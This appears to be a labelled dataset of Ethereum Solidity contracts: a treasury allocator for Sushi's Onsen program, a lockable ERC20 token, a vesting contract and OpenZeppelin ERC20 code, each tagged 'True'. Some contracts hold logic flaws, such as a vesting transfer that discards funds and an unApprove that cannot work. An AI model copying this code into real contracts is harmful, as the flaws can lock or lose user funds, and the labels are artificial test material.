// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IOwnable {
function policy() external view returns (address);
function renounceManagement() external;
function pushManagement( address newOwner_ ) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed( address(0), _owner );
}
function policy() public view override returns (address) {
return _owner;
}
modifier onlyPolicy() {
require( _owner == msg.sender, "Ownable: caller is not the owner" );
_;
}
function renounceManagement() public virtual override onlyPolicy() {
emit OwnershipPushed( _owner, address(0) );
_owner = address(0);
}
function pushManagement( address newOwner_ ) public virtual override onlyPolicy() {
require( newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed( _owner, newOwner_ );
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require( msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled( _owner, _newOwner );
_owner = _newOwner;
}
}
interface IMasterChef {
function pendingSushi(uint256 _pid, address _user) external view returns (uint256);
function deposit(uint256 _pid, uint256 _amount) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function emergencyWithdraw(uint256 _pid) external;
}
interface ISushiBar {
function enter(uint256 _amount) external;
function leave(uint256 _share) external;
}
interface ITreasury {
function deposit( uint _amount, address _token, uint _profit ) external returns ( uint send_ );
function manage( address _token, uint _amount ) external;
function valueOf( address _token, uint _amount ) external view returns ( uint value_ );
}
/**
* Contract deploys liquidity from treasury into the Onsen program,
* earning $SUSHI that can be staked and/or deposited into the treasury.
*/
contract OnsenAllocator is Ownable {
/* ========== DEPENDENCIES ========== */
using SafeERC20 for IERC20;
using SafeMath for uint;
/* ========== STATE VARIABLES ========== */
uint[] public pids; // Pool IDs
mapping( uint => address ) public pools; // Pool Addresses index by PID
address immutable sushi; // $SUSHI token
address immutable xSushi; // $xSUSHI token
address immutable masterChef; // Onsen contract
address immutable treasury; // Olympus Treasury
uint public totalValueDeployed; // Total RFV deployed
/* ========== CONSTRUCTOR ========== */
constructor(
address _chef,
address _treasury,
address _sushi,
address _xSushi
) {
require( _chef != address(0) );
masterChef = _chef;
require( _treasury != address(0) );
treasury = _treasury;
require( _sushi != address(0) );
sushi = _sushi;
require( _xSushi != address(0) );
xSushi = _xSushi;
}
/* ========== OPEN FUNCTIONS ========== */
/**
* @notice harvest Onsen rewards from all pools
* @param _stake bool
*/
function harvest( bool _stake ) external {
for( uint i = 0; i < pids.length; i++ ) {
uint pid = pids[i];
if ( pid != 0 ) { // pid of 0 is invalid
IMasterChef( masterChef ).withdraw( pid, 0 ); // withdrawing 0 harvests rewards
}
}
enterSushiBar( _stake );
}
/* ========== INTERNAL FUNCTIONS ========== */
/**
* @notice stake sushi rewards if enter is true. return funds to treasury.
* @param _stake bool
*/
function enterSushiBar( bool _stake ) internal {
uint balance = IERC20( sushi ).balanceOf( address(this) );
if ( balance > 0 ) {
if ( !_stake ) {
IERC20( sushi ).safeTransfer( treasury, balance ); // transfer sushi to treasury
} else {
IERC20( sushi ).approve( xSushi, balance );
ISushiBar( xSushi ).enter( balance ); // stake sushi
uint xBalance = IERC20( xSushi ).balanceOf( address(this) );
IERC20( xSushi ).safeTransfer( treasury, xBalance ); // transfer xSushi to treasury
}
}
}
/* ========== VIEW FUNCTIONS ========== */
/**
* @notice pending $SUSHI rewards
* @return uint
*/
function pendingSushi() external view returns ( uint ) {
uint pending;
for ( uint i = 0; i < pids.length; i++ ) {
uint pid = pids[i];
if ( pid != 0 ) {
pending = pending.add( IMasterChef( masterChef ).pendingSushi( pid, address(this) ) );
}
}
return pending;
}
/* ========== POLICY FUNCTIONS ========== */
/**
* @notice deposit LP from treasury to Onsen and collect rewards
* @param _amount uint
* @param _stake bool
*/
function deposit( uint _pid, uint _amount, bool _stake ) external onlyPolicy() {
address LP = pools[ _pid ];
require( LP != address(0) );
ITreasury( treasury ).manage( LP, _amount ); // retrieve LP from treasury
IERC20( LP ).approve( masterChef, _amount );
IMasterChef( masterChef ).deposit( _pid, _amount ); // deposit into Onsen
uint value = ITreasury( treasury ).valueOf( LP, _amount );
totalValueDeployed = totalValueDeployed.add( value ); // add to deployed value tracker
enterSushiBar( _stake ); // manage rewards
}
/**
* @notice collect rewards and withdraw LP from Onsen and return to treasury.
* @param _amount uint
* @param _stake bool
*/
function withdraw( uint _pid, uint _amount, bool _stake ) external onlyPolicy() {
address LP = pools[ _pid ];
require( LP != address(0) );
IMasterChef( masterChef ).withdraw( _pid, _amount ); // withdraw from Onsen
uint value = ITreasury( treasury ).valueOf( LP, _amount );
// remove from deployed value tracker
if ( value < totalValueDeployed ) {
totalValueDeployed = totalValueDeployed.sub( value );
} else { // LP value grows from fees and may exceed total deployed
totalValueDeployed = 0;
}
// approve and deposit LP into treasury
IERC20( LP ).approve( treasury, _amount );
// use value for profit so that no OHM is minted
ITreasury( treasury ).deposit( _amount, LP, value );
enterSushiBar( _stake ); // manage rewards
}
/**
* @notice withdraw Sushi from treasury and stake to xSushi
* @param _amount uint
*/
function enterSushiBarFromTreasury( uint _amount ) external onlyPolicy() {
ITreasury( treasury ).manage( sushi, _amount ); // retrieve $SUSHI from treasury
enterSushiBar( true ); // stake $SUSHI
}
/**
* @notice withdraw xSushi from treasury and unstake to sushi
* @param _amount uint
*/
function exitSushiBar( uint _amount ) external onlyPolicy() {
ITreasury( treasury ).manage( xSushi, _amount ); // retrieve $xSUSHI from treasury
ISushiBar( xSushi ).leave( _amount ); // unstake $xSUSHI
IERC20( sushi ).safeTransfer( treasury, IERC20( sushi ).balanceOf( address(this) ) ); // return $SUSHI to treasury
}
/**
* @notice add new PID and corresponding liquidity pool
* @param _pool address
* @param _pid uint
*/
function addPool( address _pool, uint _pid ) external onlyPolicy() {
require( _pool != address(0) );
require( pools[ _pid ] == address(0) );
pids.push( _pid );
pools[ _pid ] = _pool;
}
/**
* @notice remove liquidity pool and corresponding PID
* @param _pool address
* @param _index uint
*/
function removePool( address _pool, uint _index ) external onlyPolicy() {
uint pid = pids[_index];
require( pools[ pid ] == _pool );
pids[ _index ] = 0;
pools[ pid ] = address(0);
}
/**
* @notice withdraw liquidity without regard for rewards
* @param _pid uint
*/
function emergencyWithdraw( uint _pid ) external onlyPolicy() {
address LP = pools[ _pid ];
IMasterChef( masterChef ).emergencyWithdraw( _pid ); // withdraws LP without returning rewards
uint balance = IERC20( LP ).balanceOf( address(this) );
uint value = ITreasury( treasury ).valueOf( LP, balance );
if ( value < totalValueDeployed ) {
totalValueDeployed = totalValueDeployed.sub( value ); // remove from value deployed tracker
} else { // value increases with fees and would otherwise cause underflow
totalValueDeployed = 0;
}
// approve and deposit LP into treasury
IERC20( LP ).approve( treasury, balance );
// use value for profit so that no OHM is minted
ITreasury( treasury ).deposit( balance, LP, value );
}
} | True | [
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pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ApproveAndCallReceiver {
function receiveApproval(address _from, uint256 _amount, address _token, bytes _data) public;
}
contract Controlled {
modifier onlyController {
require(msg.sender == controller);
_;
}
address public controller;
constructor() public {
controller = msg.sender;
}
function changeController(address _newController) onlyController public {
controller = _newController;
}
}
contract TokenAbout is Controlled {
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
function isContract(address _addr) constant internal returns (bool) {
if (_addr == 0) {
return false;
}
uint256 size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
function claimTokens(address[] tokens) onlyController public {
require(tokens.length <= 100, "tokens.length too long");
address _token;
uint256 balance;
ERC20Token token;
for(uint256 i; i<tokens.length; i++){
_token = tokens[i];
if (_token == 0x0) {
balance = address(this).balance;
if(balance > 0){
msg.sender.transfer(balance);
}
}else{
token = ERC20Token(_token);
balance = token.balanceOf(address(this));
token.transfer(msg.sender, balance);
emit ClaimedTokens(_token, msg.sender, balance);
}
}
}
}
contract TokenController {
function proxyPayment(address _owner) payable public returns(bool);
function onTransfer(address _from, address _to, uint _amount) public view returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public view returns(bool);
}
contract ERC20Token {
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract TokenI is ERC20Token, Controlled {
string public name; //The Token's name: e.g. DigixDAO Tokens
uint8 public decimals = 18; //Number of decimals of the smallest unit
string public symbol; //An identifier: e.g. REP
function approveAndCall( address _spender, uint256 _amount, bytes _extraData) public returns (bool success);
function generateTokens(address _owner, uint _amount) public returns (bool);
function destroyTokens(address _owner, uint _amount) public returns (bool);
function enableTransfers(bool _transfersEnabled) public;
}
contract Token is TokenI, TokenAbout {
using SafeMath for uint256;
address public owner;
string public techProvider = "WeYii Tech(https://weyii.co)";
mapping (uint8 => uint256[]) public freezeOf; //所有数额，地址与数额合并为uint256，位运算拆分。
uint8 currUnlockStep; //当前解锁step
uint256 currUnlockSeq; //当前解锁step 内的游标
mapping (uint8 => bool) public stepUnlockInfo; //所有锁仓，key 使用序号向上增加，value,是否已解锁。
mapping (address => uint256) public freezeOfUser; //用户所有锁仓，方便用户查询自己锁仓余额
mapping (uint8 => uint256) public stepLockend; //key:锁仓step，value：解锁时
bool public transfersEnabled = true;
event Burn(address indexed from, uint256 value);
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
constructor(uint256 initialSupply, string tokenName, string tokenSymbol, address initialOwner) public {
name = tokenName;
symbol = tokenSymbol;
owner = initialOwner;
totalSupply = initialSupply*uint256(10)**decimals;
balanceOf[owner] = totalSupply;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier ownerOrController(){
require(msg.sender == owner || msg.sender == controller);
_;
}
modifier transable(){
require(transfersEnabled);
_;
}
modifier ownerOrUser(address user){
require(msg.sender == owner || msg.sender == user);
_;
}
modifier userOrController(address user){
require(msg.sender == user || msg.sender == owner || msg.sender == controller);
_;
}
modifier realUser(address user){
require(user != 0x0);
_;
}
modifier moreThanZero(uint256 _value){
require(_value > 0);
_;
}
modifier userEnough(address _user, uint256 _amount) {
require(balanceOf[_user] >= _amount);
_;
}
function addLockStep(uint8 _step, uint _endTime) onlyController external returns(bool) {
stepLockend[_step] = _endTime;
}
function transfer(address _to, uint256 _value) realUser(_to) moreThanZero(_value) transable public returns (bool) {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
function approve(address _spender, uint256 _value) transable public returns (bool success) {
require(_value == 0 || (allowance[msg.sender][_spender] == 0));
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function unApprove(address _spender, uint256 _value) moreThanZero(_value) transable public returns (bool success) {
require(_value == 0 || (allowance[msg.sender][_spender] == 0));
allowance[msg.sender][_spender] = allowance[msg.sender][_spender].sub(_value);
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) transable public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallReceiver(_spender).receiveApproval(msg.sender, _amount, this, _extraData);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) realUser(_from) realUser(_to) moreThanZero(_value) transable public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transferMulti(address[] _to, uint256[] _value) transable public returns (bool success, uint256 amount){
require(_to.length == _value.length && _to.length <= 300, "transfer once should be less than 300, or will be slow");
uint256 balanceOfSender = balanceOf[msg.sender];
uint256 len = _to.length;
for(uint256 j; j<len; j++){
require(_value[j] <= balanceOfSender); //limit transfer value
amount = amount.add(_value[j]);
}
require(balanceOfSender > amount ); //check enough and not overflow
balanceOf[msg.sender] = balanceOf[msg.sender].sub(amount);
address _toI;
uint256 _valueI;
for(uint256 i; i<len; i++){
_toI = _to[i];
_valueI = _value[i];
balanceOf[_toI] = balanceOf[_toI].add(_valueI);
emit Transfer(msg.sender, _toI, _valueI);
}
return (true, amount);
}
function transferMultiSameValue(address[] _to, uint256 _value) transable public returns (bool){
require(_to.length <= 300, "transfer once should be less than 300, or will be slow");
uint256 len = _to.length;
uint256 amount = _value.mul(len);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(amount);
address _toI;
for(uint256 i; i<len; i++){
_toI = _to[i];
balanceOf[_toI] = balanceOf[_toI].add(_value);
emit Transfer(msg.sender, _toI, _value);
}
return true;
}
function freeze(address _user, uint256[] _value, uint8[] _step) onlyController public returns (bool success) {
require(_value.length == _step.length, "length of value and step must be equal");
require(_value.length <= 100, "lock step should less or equal than 100");
uint256 amount; //冻结总额
for(uint i; i<_value.length; i++){
amount = amount.add(_value[i]);
}
require(balanceOf[_user] >= amount, "balance of user must bigger or equal than amount of all steps");
balanceOf[_user] -= amount;
freezeOfUser[_user] += amount;
uint256 _valueI;
uint8 _stepI;
for(i=0; i<_value.length; i++){
_valueI = _value[i];
_stepI = _step[i];
freezeOf[_stepI].push(uint256(_user)<<96|_valueI);
}
emit Freeze(_user, amount);
return true;
}
function unFreeze(uint8 _step) onlyController public returns (bool unlockOver) {
require(stepLockend[_step]<now && (currUnlockStep==_step || currUnlockSeq==uint256(0)));
require(stepUnlockInfo[_step]==false);
uint256[] memory currArr = freezeOf[_step];
currUnlockStep = _step;
if(currUnlockSeq==uint256(0)){
currUnlockSeq = currArr.length;
}
uint256 start = ((currUnlockSeq>99)?(currUnlockSeq-99): 0);
uint256 userLockInfo;
uint256 _amount;
address userAddress;
for(uint256 end = currUnlockSeq; end>start; end--){
userLockInfo = freezeOf[_step][end-1];
_amount = userLockInfo&0xFFFFFFFFFFFFFFFFFFFFFFFF;
userAddress = address(userLockInfo>>96);
balanceOf[userAddress] += _amount;
freezeOfUser[userAddress] = freezeOfUser[userAddress].sub(_amount);
emit Unfreeze(userAddress, _amount);
}
if(start==0){
stepUnlockInfo[_step] = true;
currUnlockSeq = 0;
}else{
currUnlockSeq = start;
}
return true;
}
function() payable public {
require(isContract(controller), "controller is not a contract");
bool proxyPayment = TokenController(controller).proxyPayment.value(msg.value)(msg.sender);
require(proxyPayment);
}
function generateTokens(address _user, uint _amount) onlyController userEnough(owner, _amount) public returns (bool) {
balanceOf[_user] += _amount;
balanceOf[owner] -= _amount;
emit Transfer(0, _user, _amount);
return true;
}
function destroyTokens(address _user, uint _amount) onlyController userEnough(_user, _amount) public returns (bool) {
require(balanceOf[_user] >= _amount);
balanceOf[owner] += _amount;
balanceOf[_user] -= _amount;
emit Transfer(_user, 0, _amount);
emit Burn(_user, _amount);
return true;
}
function changeOwner(address newOwner) onlyOwner public returns (bool) {
balanceOf[newOwner] = balanceOf[owner];
balanceOf[owner] = 0;
owner = newOwner;
return true;
}
function enableTransfers(bool _transfersEnabled) onlyController public {
transfersEnabled = _transfersEnabled;
}
} | True | [
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] | [
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/**
*Submitted for verification at Etherscan.io on 2021-04-30
*/
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function mul(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract LevTreasuryVester {
using SafeMath for uint256;
address public lev;
mapping(address => TreasuryVester) public _Treasury;
struct TreasuryVester {
uint256 vestingAmount;
uint256 vestingBegin;
uint256 vestingFirst;
uint256 vestingShare;
uint256 nextTime;
uint256 vestingCycle;
}
constructor(address _lev) public {
lev = _lev;
}
function creatTreasury(
address recipient_,
uint256 vestingAmount_,
uint256 vestingFirst_,
uint256 vestingShare_,
uint256 vestingBegin_,
uint256 vestingCycle_
) external {
require(
vestingBegin_ >= block.timestamp,
"TreasuryVester::creat: vesting begin too early"
);
require(
vestingCycle_ >= 24 * 3600 * 30,
"TreasuryVester::creat: vesting cycle too small"
);
TreasuryVester storage treasury = _Treasury[recipient_];
require(
treasury.vestingAmount == 0,
"TreasuryVester::creat: recipient already exists"
);
treasury.vestingAmount = vestingAmount_;
treasury.vestingBegin = vestingBegin_;
treasury.vestingFirst = vestingFirst_;
treasury.vestingShare = vestingShare_;
treasury.nextTime = vestingBegin_;
treasury.vestingCycle = vestingCycle_;
ILev(lev).transferFrom(msg.sender, address(this), vestingAmount_);
}
function setRecipient(address recipient_) external {
TreasuryVester storage treasury = _Treasury[msg.sender];
TreasuryVester storage treasury2 = _Treasury[recipient_];
require(
treasury.vestingAmount > 0,
"TreasuryVester::setRecipient: unauthorized"
);
require(
treasury2.vestingAmount == 0,
"TreasuryVester::setRecipient: recipient already exists"
);
treasury2 = treasury;
treasury.vestingAmount = 0;
}
function claim() external {
TreasuryVester storage treasury = _Treasury[msg.sender];
require(
treasury.vestingAmount > 0,
"TreasuryVester::claim: not sufficient funds"
);
require(
block.timestamp >= treasury.nextTime,
"TreasuryVester::claim: not time yet"
);
uint256 amount;
if (treasury.nextTime == treasury.vestingBegin) {
amount = treasury.vestingFirst;
} else {
amount = treasury.vestingShare;
}
if (ILev(lev).balanceOf(address(this)) < amount) {
amount = ILev(lev).balanceOf(address(this));
}
if (treasury.vestingAmount < amount) {
amount = treasury.vestingAmount;
}
treasury.nextTime = treasury.nextTime.add(treasury.vestingCycle);
treasury.vestingAmount = treasury.vestingAmount.sub(amount);
ILev(lev).transfer(msg.sender, amount);
}
}
interface ILev {
function balanceOf(address account) external view returns (uint256);
function transfer(address dst, uint256 rawAmount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-09-27
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
